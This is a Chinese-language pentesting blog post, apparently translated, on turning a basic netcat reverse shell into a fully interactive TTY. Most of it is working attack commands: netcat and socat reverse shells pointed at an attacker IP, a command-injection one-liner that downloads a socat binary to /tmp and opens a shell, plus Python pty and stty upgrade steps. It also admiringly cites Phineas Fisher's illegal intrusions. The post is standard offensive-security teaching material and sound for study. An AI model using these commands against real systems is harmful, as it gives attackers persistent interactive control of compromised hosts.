导语:每个pentester都知道,当用netcat反弹一个反向shell并且看到详细的netcat消息跟输出时,这种感觉爽歪歪。
每个pentester都知道,当用netcat反弹一个反向shell并且看到详细的netcat消息跟输出时,这种感觉爽歪歪。
当然他们也知道shell丢失时的沮丧,运行了一个不好的命令,挂起并且意外地击中“Ctrl-C”,认为它会阻止它,其实是杀死整个连接。
除了没有正确处理SIGINT之外,还有其他的缺点:
· 一些命令,像su和ssh要求一个正确的终端运行 · 通常不显示STDERR · 无法正确使用文本编辑器 vim · 没有标签完成 · 没有向上的箭头历史 · 没有工作控制 · 等等...
我遇到了一些很好的资源,包括“升级”这些shell的非常有用的技巧,并希望在一个帖子中编译和分享。随着Pentest Monkey,我还从Phineas Fisher的发布视频中了解了他的技术,并写道了他的非法活动:
Pentest Monkey - Post Exploitation Without a TTY Phineas Fisher Hacks Catalan Police Union Website Phineas Fisher - Hackingteam Writeup
作为参考,在所有屏幕截图和命令中,我正在向易受攻击的Web服务器(“VICTIM”)注入命令,并捕获我的Kali VM(“KALI”)中的shell:
VICTIM IP:10.0.3.7 KALI IP:10.0.3.4
生成反向shell命令
使用netcat反弹shell的传统方式:
nc -e /bin/sh 10.0.3.4 4444
并捕获(接收)它:
nc -lvp 4444
但是不是每个服务器都安装了netcat,而不是每个版本的netcat都有-e选项。
Pentest Monkey有一个详细各种语言反向shell方法,概述了一些不同的方法,但我最喜欢的技术是使用Metasploit msfvenom来为我生成单行命令。
Metasploit在“cmd / unix”下有几个可用于生成单线绑定或反向shell的payload:
这些有payload的任何一个都可用于msfvenom吐出所需的原始命令(指定LHOST,LPORT或RPORT)。这是一个不需要-e标志的netcat命令:
这里有一个Perl的oneliner如果netcat没有安装:
这些都可以通过使用netcat并监听指定的端口(4444)来接收(捕获)。
方法1:Python pty模块
该PTY模块让我们你生成一个伪终端,它可以执行命令su,以为他们是在一个合适的终端执行。要升级一个shell,只需运行以下命令:
python -c 'import pty; pty.spawn("/bin/bash")'
这样可以让你运行su
不幸的是,这并没有解决上述其他一些问题。SIGINT(Ctrl-C)仍然会关闭Netcat,没有选项卡完成或历史记录。
方法2:使用socat
socat是一個netcat(nc)的替代品,可以称得上nc++,是一个非常强大的网络瑞士军刀。可以使用Socat来传递完整的TTY的TCP连接。
如果socat安装在受害者服务器上,可以使用它启动反向shell。
以下命令将产生完全交互的TTY反向shell:
在kali(监听):
socat file:`tty`,raw,echo=0 tcp-listen:4444
受害人
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
如果没有安装socat。有独立的二进制文件可以从这个Github下载:
https://github.com/andrew-d/static-binaries
通过命令注入,可以将socat二进制文件下载到可写的目录,之后chmod,然后在一行中执行反向shell:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash - li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 nc
在kali,你会看到一个完全交互式的TTY会话。它支持SIGINT、SIGSTP、vim、向上箭头历史等。它是一个完整的终端。
方法3:升级netcat
我看着菲尼亚斯·费雪在他的黑客视频中使用这种技术,感觉很神奇。基本上可以通过stty在Kali终端中设置一些选项来使用笨重的网卡来升级到完整的TTY 。
首先,与方法1相同的技术,并使用Python来产生一个PTY。一旦bash在PTY中运行,背景与shell Ctrl-Z
当shell在后台时,现在检查当前终端和STTY信息,所以我们可以强制连接的shell匹配:
所需的信息是TERM类型(“xterm-256color”)和当前TTY的大小(“第38行;列116”)
在shell仍然背景的情况下,现在将当前STTY设置为raw,并使用以下命令来回显输入的字符:
stty raw -echo
使用原始stty,输入/输出将看起来很奇怪,您将看不到下一个命令,但是当您键入它们正在被处理时。
下一个前景与shell。它将重新打开反向shell,但格式化将关闭。最后,重新初始化终端reset。
注意:我没有nc再次键入命令(如上图所示)。我实际上进入了fg,但没有回应。该nc命令是现在处于前台的作业。reset然后将该命令输入到netcat shell中。
之后resetshell再次看起来正常。最后一步是设置shell,终端类型和stty大小以匹配我们当前的Kali窗口(从上面收集的信息)
$ export SHELL=bash $ export TERM=xterm256-color $ stty rows 38 columns 116
最终的结果是一个完全交互式的TTY,它具有我们期望的所有功能(tab-complete,history,job control等),通过netcat连接:
现在的可能性是无止境的。在netcat shell上的Tmux
python -c 'import pty; pty.spawn("/bin/bash")'
使用socat
#Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
使用stty选项
# In reverse shell $ python -c 'import pty; pty.spawn("/bin/bash")' Ctrl-Z # In Kali $ stty raw -echo $ fg # In reverse shell $ reset $ export SHELL=bash $ export TERM=xterm-256color $ stty rows <num> columns <cols>
如果你还有其他炫酷的技能,请评论